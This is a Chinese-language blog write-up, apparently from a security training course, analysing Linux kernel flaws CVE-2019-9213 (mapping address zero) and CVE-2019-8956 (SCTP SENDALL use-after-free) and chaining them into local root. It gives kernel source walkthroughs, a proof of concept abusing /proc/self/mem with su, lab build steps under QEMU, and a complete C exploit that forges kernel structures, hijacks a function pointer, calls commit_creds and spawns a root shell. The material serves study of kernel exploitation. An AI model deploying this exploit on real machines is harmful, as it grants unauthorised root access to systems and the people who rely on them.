寒假在xman学到了很多,在这里总结复现一下两个cve。
本文包括漏洞分析,环境搭建,以及exp提权。
漏洞分析
CVE-2019-9213
它是一个linux内核用户空间0虚拟地址映射漏洞
首先看一下他的补丁情况:
可以根据补丁来定位到expand_downwards这个函数,我们看一下源码:
int expand_downwards(struct vm_area_struct *vma,
unsigned long address)
{
struct mm_struct *mm = vma->vm_mm;
struct vm_area_struct *prev;
int error;
address &= PAGE_MASK;
error = security_mmap_addr(address);
if (error)
return error;
..........
}
可以看到他调用了security_mmap_addr函数。我们继续查看security_mmap_addr函数:
static inline int security_mmap_addr(unsigned long addr)
{
return cap_mmap_addr(addr);
}
可以看到他是cap_mmap_addr函数的封装。
我们继续跟入:
int cap_mmap_addr(unsigned long addr)
{
int ret = 0;
if (addr < dac_mmap_min_addr) {
ret = cap_capable(current_cred(), &init_user_ns, CAP_SYS_RAWIO,
SECURITY_CAP_AUDIT);
/* set PF_SUPERPRIV if it turns out we allow the low mmap */
if (ret == 0)
current->flags |= PF_SUPERPRIV;
}
return ret;
}
dac_mmap_min_addr是0x1000,在这里他会对你能否分配低地址做一个判断。
但是在这里存在一个问题,如果我们通过system函数调用LD_DEBUG=help su 1>&%d命令执行write操作,该函数检测的current_cred()就是执行write的进程的cred,而不是vma被改变的进程的cred。由于write操作是root,所以我们自然可以通过这个判断。
接下来我们就跟踪一下write函数的执行,看它如何调用expand_downwards:
static ssize_t mem_write(struct file *file, const char __user *buf,
size_t count, loff_t *ppos)
{
return mem_rw(file, (char __user*)buf, count, ppos, 1);
}
mem_write函数是mem_rw函数的封装。
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
...................
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE);
if (write && copy_from_user(page, buf, this_len)) {
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, flags);
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) {
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page);
return copied;
}
我们可以看到while循环中都利用了access_remote_vm来处理远程进程中的数据。
access_remote_vm函数是__access_remote_vm函数的封装。
int access_remote_vm(struct mm_struct *mm, unsigned long addr,
void *buf, int len, unsigned int gup_flags)
{
return __access_remote_vm(NULL, mm, addr, buf, len, gup_flags);
}
int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
unsigned long addr, void *buf, int len, unsigned int gup_flags)
{
struct vm_area_struct *vma;
void *old_buf = buf;
int write = gup_flags & FOLL_WRITE;
down_read(&mm->mmap_sem);
/* ignore errors, just check how much was successfully transferred */
while (len) {
int bytes, ret, offset;
void *maddr;
struct page *page = NULL;
ret = get_user_pages_remote(tsk, mm, addr, 1,
gup_flags, &page, &vma, NULL);
if (ret <= 0) {
.......................
} else {
bytes = len;
offset = addr & (PAGE_SIZE-1);
if (bytes > PAGE_SIZE-offset)
bytes = PAGE_SIZE-offset;
maddr = kmap(page);
if (write) {
copy_to_user_page(vma, page, addr,
maddr + offset, buf, bytes);
set_page_dirty_lock(page);
} else {
copy_from_user_page(vma, page, addr,
buf, maddr + offset, bytes);
}
kunmap(page);
put_page(page);
}
len -= bytes;
buf += bytes;
addr += bytes;
}
up_read(&mm->mmap_sem);
return buf - old_buf;
}
get_user_pages_remote函数和get_user_pages函数(二者区别:是否跨进程)都是__get_user_pages_locked函数的封装,作用在于查找并将给定的虚拟地址范围固定到page。之后通过kmap函数将page映射到永久内存映射区,如果是写操作则调用copy_to_user_page函数之后调用set_page_dirty_lock函数将page设置为脏,读操作则调用copy_from_user_page函数。之后调用kunmap函数取消映射。
get_user_pages_remote函数和get_user_pages函数:
long get_user_pages_remote(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *locked)
{
return __get_user_pages_locked(tsk, mm, start, nr_pages, pages, vmas,
locked,
gup_flags | FOLL_TOUCH | FOLL_REMOTE);
}
EXPORT_SYMBOL(get_user_pages_remote);
long get_user_pages(unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas)
{
return __get_user_pages_locked(current, current->mm, start, nr_pages,
pages, vmas, NULL,
gup_flags | FOLL_TOUCH);
}
EXPORT_SYMBOL(get_user_pages);
这里get_user_pages_remote调用__get_user_pages_locked函数时设置了FOLL_REMOTE标志区分。
在这两个函数中调用了__get_user_pages_locked:
static __always_inline long __get_user_pages_locked(struct task_struct *tsk,
struct mm_struct *mm,
unsigned long start,
unsigned long nr_pages,
struct page **pages,
struct vm_area_struct **vmas,
int *locked,
unsigned int flags)
{
................
pages_done = 0;
lock_dropped = false;
for (;;) {
ret = __get_user_pages(tsk, mm, start, nr_pages, flags, pages,
vmas, locked);
if (!locked)
/* VM_FAULT_RETRY couldn't trigger, bypass */
return ret;
/* VM_FAULT_RETRY cannot return errors */
if (!*locked) {
BUG_ON(ret < 0);
BUG_ON(ret >= nr_pages);
}
if (!pages)
/* If it's a prefault don't insist harder */
return ret;
if (ret > 0) {
nr_pages -= ret;
pages_done += ret;
if (!nr_pages)
break;
}
if (*locked) {
/*
* VM_FAULT_RETRY didn't trigger or it was a
* FOLL_NOWAIT.
*/
if (!pages_done)
pages_done = ret;
break;
}
/* VM_FAULT_RETRY triggered, so seek to the faulting offset */
pages += ret;
start += ret << PAGE_SHIFT;
/*
* Repeat on the address that fired VM_FAULT_RETRY
* without FAULT_FLAG_ALLOW_RETRY but with
* FAULT_FLAG_TRIED.
*/
*locked = 1;
lock_dropped = true;
down_read(&mm->mmap_sem);
ret = __get_user_pages(tsk, mm, start, 1, flags | FOLL_TRIED,
pages, NULL, NULL);
if (ret != 1) {
BUG_ON(ret > 1);
if (!pages_done)
pages_done = ret;
break;
}
nr_pages--;
pages_done++;
if (!nr_pages)
break;
pages++;
start += PAGE_SIZE;
}
if (lock_dropped && *locked) {
/*
* We must let the caller know we temporarily dropped the lock
* and so the critical section protected by it was lost.
*/
up_read(&mm->mmap_sem);
*locked = 0;
}
return pages_done;
}
get_user_pages函数的作用是将start开始的nr_pages个页固定到pages。get_user_pages函数返回值大于0说明调用成功,减少nr_pages增加pages_done,nr_pages为0则退出循环。
之后再固定一个页。对应的代码如下:
lock_dropped = true;
down_read(&mm->mmap_sem);
ret = __get_user_pages(tsk, mm, start, 1, flags | FOLL_TRIED,
pages, NULL, NULL);
if (ret != 1) {
BUG_ON(ret > 1);
if (!pages_done)
pages_done = ret;
break;
}
nr_pages--;
pages_done++;
if (!nr_pages)
break;
pages++;
start += PAGE_SIZE;
}
如果没有退出,nr_pages-1,pages_done+1,start地址加一个PAGE_SIZE重新开始固定。
__get_user_pages函数查找vma是通过调用find_extend_vma函数实现的:
find_extend_vma(struct mm_struct *mm, unsigned long addr)
{
struct vm_area_struct *vma;
unsigned long start;
addr &= PAGE_MASK;
vma = find_vma(mm, addr);
if (!vma)
return NULL;
if (vma->vm_start <= addr)
return vma;
if (!(vma->vm_flags & VM_GROWSDOWN))
return NULL;
start = vma->vm_start;
if (expand_stack(vma, addr))
return NULL;
if (vma->vm_flags & VM_LOCKED)
populate_vma_page_range(vma, addr, start, NULL);
return vma;
}
总的来说就是最终在写入的地址小于vm->start时,如果设置了VM_GROWSDOWN选项的话,就会调用expand_downwards函数。
小结一下利用链:
poc:
int main()
{
unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (addr != 0x10000)
err(2,"mmap failed");
int fd = open("/proc/self/mem",O_RDWR);
if (fd == -1)
err(2,"open mem failed");
char cmd[0x100] = {0};
sprintf(cmd, "su >&%d < /dev/null", fd);
while (addr)
{
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1)
err(2, "lseek failed");
system(cmd);
}
printf("contents:%sn",(char *)1);
}
CVE-2019-8956
看一波补丁,发现漏洞存在于sctp_sendmsg函数内:
static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len)
{
struct sctp_endpoint *ep = sctp_sk(sk)->ep;
struct sctp_transport *transport = NULL;
struct sctp_sndrcvinfo _sinfo, *sinfo;
struct sctp_association *asoc;
struct sctp_cmsgs cmsgs;
union sctp_addr *daddr;
bool new = false;
__u16 sflags;
int err;
/* Parse and get snd_info */
err = sctp_sendmsg_parse(sk, &cmsgs, &_sinfo, msg, msg_len);
if (err)
goto out;
sinfo = &_sinfo;
sflags = sinfo->sinfo_flags;
/* Get daddr from msg */
daddr = sctp_sendmsg_get_daddr(sk, msg, &cmsgs);
if (IS_ERR(daddr)) {
err = PTR_ERR(daddr);
goto out;
}
lock_sock(sk);
/* SCTP_SENDALL process */
if ((sflags & SCTP_SENDALL) && sctp_style(sk, UDP)) {
list_for_each_entry(asoc, &ep->asocs, asocs) {
err = sctp_sendmsg_check_sflags(asoc, sflags, msg,
msg_len);
if (err == 0)
continue;
if (err < 0)
goto out_unlock;
sctp_sendmsg_update_sinfo(asoc, sinfo, &cmsgs);
err = sctp_sendmsg_to_asoc(asoc, msg, msg_len,
NULL, sinfo);
if (err < 0)
goto out_unlock;
iov_iter_revert(&msg->msg_iter, err);
}
goto out_unlock;
}
................
out_unlock:
release_sock(sk);
out:
return sctp_error(sk, msg->msg_flags, err);
}
可以看到当标志为SCTP_SENDALL时,我们会进入sctp_style(sk, UDP) && !sctp_state(asoc, ESTABLISHED)的判断,如果我们让sk->type为UDP时,就会调用list_for_each_entry来依次遍历ep->asocs链表。
接下来会调用sctp_sendmsg_check_sflags:
static int sctp_sendmsg_check_sflags(struct sctp_association *asoc,
__u16 sflags, struct msghdr *msg,
size_t msg_len)
{
struct sock *sk = asoc->base.sk;
struct net *net = sock_net(sk);
if (sctp_state(asoc, CLOSED) && sctp_style(sk, TCP))
return -EPIPE;
if ((sflags & SCTP_SENDALL) && sctp_style(sk, UDP) &&
!sctp_state(asoc, ESTABLISHED))
return 0;
if (sflags & SCTP_EOF) {
pr_debug("%s: shutting down association:%pn", __func__, asoc);
sctp_primitive_SHUTDOWN(net, asoc, NULL);
return 0;
}
if (sflags & SCTP_ABORT) {
struct sctp_chunk *chunk;
chunk = sctp_make_abort_user(asoc, msg, msg_len);
if (!chunk)
return -ENOMEM;
pr_debug("%s: aborting association:%pn", __func__, asoc);
sctp_primitive_ABORT(net, asoc, chunk);
return 0;
}
return 1;
}
这里注意:struct sock sk = asoc->base.sk,因为asoc是可控的(具体原因会在下面的下一部分介绍。),所以struct sock sk就可以任由我们摆布。
接下来设置SCTP_ABORT标志,调用sctp_make_abort_user和sctp_primitive_ABORT。
struct sctp_chunk *sctp_make_abort_user(const struct sctp_association *asoc,
struct msghdr *msg,
size_t paylen)
{
struct sctp_chunk *retval;
void *payload = NULL;
int err;
retval = sctp_make_abort(asoc, NULL,
sizeof(struct sctp_errhdr) + paylen);
if (!retval)
goto err_chunk;
if (paylen) {
/* Put the msg_iov together into payload. */
payload = kmalloc(paylen, GFP_KERNEL);
if (!payload)
goto err_payload;
err = memcpy_from_msg(payload, msg, paylen);
if (err < 0)
goto err_copy;
}
sctp_init_cause(retval, SCTP_ERROR_USER_ABORT, paylen);
sctp_addto_chunk(retval, paylen, payload);
if (paylen)
kfree(payload);
return retval;
err_copy:
kfree(payload);
err_payload:
sctp_chunk_free(retval);
retval = NULL;
err_chunk:
return retval;
}
在这里我们把paylen设置为0,这样就不会进入循环,也就避开了
memcpy_from_msg。(paylen就是通过sendmsg发送的数据的长度)。
接下来是sctp_primitive_ABORT,调试一下可以找到他实际位于net/sctp/primitive.c:
int sctp_primitive_ ## name(struct net *net, struct sctp_association *asoc,
void *arg) {
int error = 0;
enum sctp_event event_type; union sctp_subtype subtype;
enum sctp_state state;
struct sctp_endpoint *ep;
event_type = SCTP_EVENT_T_PRIMITIVE;
subtype = SCTP_ST_PRIMITIVE(SCTP_PRIMITIVE_ ## name);
state = asoc ? asoc->state : SCTP_STATE_CLOSED;
ep = asoc ? asoc->ep : NULL;
error = sctp_do_sm(net, event_type, subtype, state, ep, asoc,
arg, GFP_KERNEL);
return error;
}
可以看到他调用了sctp_do_sm这个状态随机处理函数:
int sctp_do_sm(struct net *net, enum sctp_event event_type,
union sctp_subtype subtype, enum sctp_state state,
struct sctp_endpoint *ep, struct sctp_association *asoc,
void *event_arg, gfp_t gfp)
{
......
state_fn = sctp_sm_lookup_event(net, event_type, state, subtype);
sctp_init_cmd_seq(&commands);
debug_pre_sfn();
status = state_fn->fn(net, ep, asoc, subtype, event_arg, &commands);
debug_post_sfn();
error = sctp_side_effects(event_type, subtype, state,
ep, &asoc, event_arg, status,
&commands, gfp);
debug_post_sfx();
return error;
}
而sctp_do_sm的参数:net、state、ep、asoc都是可以被我们控制的。
这里有个很明显的指针调用:
status = state_fn->fn(net, ep, asoc, subtype, event_arg, &commands);
如果我们可以控制state_fn,就可以实现任意地址调用。
state_fn由sctp_sm_lookup_event函数返回,我们继续跟入:
const struct sctp_sm_table_entry *sctp_sm_lookup_event(
struct net *net,
enum sctp_event event_type,
enum sctp_state state,
union sctp_subtype event_subtype)
{
switch (event_type) {
case SCTP_EVENT_T_CHUNK:
return sctp_chunk_event_lookup(net, event_subtype.chunk, state);
case SCTP_EVENT_T_TIMEOUT:
return DO_LOOKUP(SCTP_EVENT_TIMEOUT_MAX, timeout,
timeout_event_table);
case SCTP_EVENT_T_OTHER:
return DO_LOOKUP(SCTP_EVENT_OTHER_MAX, other,
other_event_table);
case SCTP_EVENT_T_PRIMITIVE:
return DO_LOOKUP(SCTP_EVENT_PRIMITIVE_MAX, primitive,
primitive_event_table);
default:
/* Yikes! We got an illegal event type. */
return &bug;
}
}
在sctp_primitive_ABORT里面就已经设置event为SCTP_EVENT_T_PRIMITIVE,所以接下来会调用DO_LOOKUP函数。
#define DO_LOOKUP(_max, _type, _table)
({
const struct sctp_sm_table_entry *rtn;
if ((event_subtype._type > (_max))) {
pr_warn("table %p possible attack: event %d exceeds max %dn",
_table, event_subtype._type, _max);
rtn = &bug;
} else
rtn = &_table[event_subtype._type][(int)state];
rtn;
})
调试一下:
可以发现ecx是state,所以我们可以控制state_fn。
小结一下调用链:
链里面还有几个函数没有分析,我们放到下面的结合部分分析:
cve的结合
启明星辰ADLab公开发布的分析文章里关于asoc的分析有一点问题。
这里我们来分析一下如何控制asoc:
void sctp_association_free(struct sctp_association *asoc)
{
struct sock *sk = asoc->base.sk;
struct sctp_transport *transport;
struct list_head *pos, *temp;
int i;
/* Only real associations count against the endpoint, so
* don't bother for if this is a temporary association.
*/
if (!list_empty(&asoc->asocs)) {
list_del(&asoc->asocs);
/* Decrement the backlog value for a TCP-style listening
* socket.
*/
if (sctp_style(sk, TCP) && sctp_sstate(sk, LISTENING))
sk->sk_ack_backlog--;
}
..........
}
sctp_association_free中对asoc进行了list_del操作。
static inline void list_del(struct list_head *entry)
{
__list_del_entry(entry);
entry->next = LIST_POISON1;
entry->prev = LIST_POISON2;
}
LIST_POISON1是0x100。我们看一下汇编代码:
mov eax,[edi+44h]
sub eax,44h
mov edi,eax
cmp [ebp-84h],eax
jz ...
这里在遍历到下一个节点的时候会计算asoc,0x100-0x44=0xbc
CVE-2019-9213可以映射0抵制空间,那么我们就可以在0xbc处伪造结构,从而实现控制asoc,而上面分析的fn可控,可以劫持任意地址,这样就可以进行提权了。
这里调试一下偏移:
struct sock{
char padding1[0x24];
void *net;
char padding2[0x278];
int type;
};
struct sctp_association{
char padding1[0x18];
struct sock *sk;
char padding2[0x190];
int state;
};
接下来是asoc的flags:
enum sctp_sinfo_flags {
SCTP_UNORDERED = (1 << 0), /* Send/receive message unordered. */
SCTP_ADDR_OVER = (1 << 1), /* Override the primary destination. */
SCTP_ABORT = (1 << 2), /* Send an ABORT message to the peer. */
SCTP_SACK_IMMEDIATELY = (1 << 3), /* SACK should be sent without delay. */
/* 2 bits here have been used by SCTP_PR_SCTP_MASK */
SCTP_SENDALL = (1 << 6),
SCTP_PR_SCTP_ALL = (1 << 7),
SCTP_NOTIFICATION = MSG_NOTIFICATION, /* Next message is not user msg but notification. */
SCTP_EOF = MSG_FIN, /* Initiate graceful shutdown process. */
};
设置sinfo_flags = (1 << 6) | (1 << 2);
环境配置:
- 1、下载ubuntu 18源码包,安装依赖(make,gcc,bison,flex,libssl-dev, ncurses-dev)
- 编译linux内核(make i386_defconfig
make menuconfig
make) - 通过qemu起linux内核(qemu-system-i386 -hda rootfs.img -kernel bzImage -append “console=ttyS0 root=/dev/sda rw nokaslr quiet” -m 128M -nographic -s -monitor /dev/null)
编译exp所需环境:
在64位ubuntu 18.04下用gcc –m32编译exp会出错,所以通过debootstrap拉取32位文件系统来编译exp。
- debootstrap —arch i386 stretch debian_32 http://ftp.cn.debian.org/debian/
- chroot debian_32
- apt install gcc libsctp-dev
编译exp:
- 首先进入32位文件系统:chroot debian_32
- 将exp.c放入文件系统中。 sudo cp exp.c /home/parallels/debian_32/exp.c
- 编译exp.c: gcc exp.c -lpthread -lsctp -static -o exp
挂载放入exp:
- mkdir rootfs
- sudo mount rootfs.img rootfs
- sudo cp ./exp ./rootfs
- sudo umount rootfs
exp提权:
#define _GNU_SOURE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/sctp.h>
#include <netinet/in.h>
#include <time.h>
#include <malloc.h>
#include <sys/mman.h>
#include <err.h>
#include <signal.h>
#define SERVER_PORT 6666
#define SCTP_GET_ASSOC_ID_LIST 29
#define SCTP_RESET_ASSOC 120
#define SCTP_ENABLE_RESET_ASSOC_REQ 0x02
#define SCTP_ENABLE_STREAM_RESET 118
struct sock
{
char pad1[0x24];
void *net;
char pad[0x278];
int type;
};
struct sctp_association
{
char pad1[0x18];
struct sock *sk;
char pad2[0x34];
char *ep;
char pad3[0x158];
int state;
};
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1074ee0;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1074b80;
void templine()
{
commit_creds(prepare_kernel_cred(0));
asm( "pushl $0x7b;"
"pushl $0x4000;"
"pushl $0x202;"
"pushl $0x73;"
"pushl $shell;"
"iret;");
}
void shell()
{
printf("rootn");
system("/bin/sh");
exit(0);
}
void mmap_zero()
{
unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (addr != 0x10000)
err(2,"mmap failed");
int fd = open("/proc/self/mem",O_RDWR);
if (fd == -1)
err(2,"open mem failed");
char cmd[0x100] = {0};
sprintf(cmd, "su >&%d < /dev/null", fd);
while (addr)
{
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1)
err(2, "lseek failed");
system(cmd);
}
printf("contents:%sn",(char *)1);
struct sctp_association * sctp_ptr = (struct sctp_association *)0xbc;
sctp_ptr->sk = (struct sock *)0x1000;
sctp_ptr->sk->type = 0x2;
sctp_ptr->state = 0x7cb094c; // offset, &_table[event_subtype._type][(int)state] = 0x3000
sctp_ptr->ep = (char *)0x2000;
*(sctp_ptr->ep + 0x8e) = 1;
unsigned long* ptr4 = (unsigned long*)0x3000;
ptr4[0] = (unsigned long)&templine;
}
void* client_func(void* arg)
{
int socket_fd;
struct sockaddr_in serverAddr;
struct sctp_event_subscribe event_;
int s;
char *buf = "test";
if ((socket_fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP))==-1){
perror("client socket");
pthread_exit(0);
}
bzero(&serverAddr, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddr.sin_port = htons(SERVER_PORT);
inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);
printf("send data: %sn",buf);
if(sctp_sendmsg(socket_fd,buf,sizeof(buf),(struct sockaddr*)&serverAddr,sizeof(serverAddr),0,0,0,0,0)==-1){
perror("client sctp_sendmsg");
goto client_out_;
}
client_out_:
//close(socket_fd);
pthread_exit(0);
}
void* send_recv(int server_sockfd)
{
int msg_flags;
socklen_t len = sizeof(struct sockaddr_in);
size_t rd_sz;
char readbuf[20]="0";
struct sockaddr_in clientAddr;
rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf),(struct sockaddr*)&clientAddr, &len, 0, &msg_flags);
if (rd_sz > 0)
printf("recv data: %sn",readbuf);
rd_sz = 0;
if(sctp_sendmsg(server_sockfd,readbuf,rd_sz,(struct sockaddr*)&clientAddr,len,0,0x44,0,0,0)<0){
perror("SENDALL sendmsg");
}
pthread_exit(0);
}
int main(int argc, char** argv)
{
int server_sockfd;
pthread_t thread;
struct sockaddr_in serverAddr;
if ((server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP))==-1){
perror("socket");
return 0;
}
bzero(&serverAddr, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddr.sin_port = htons(SERVER_PORT);
inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);
if(bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr)) == -1){
perror("bind");
goto out_;
}
listen(server_sockfd,5);
if(pthread_create(&thread,NULL,client_func,NULL)){
perror("pthread_create");
goto out_;
}
mmap_zero();
send_recv(server_sockfd);
out_:
close(server_sockfd);
return 0;
}
注意:其中sctp_ptr->state的偏移需要自己计算(环境不同):
运行截图: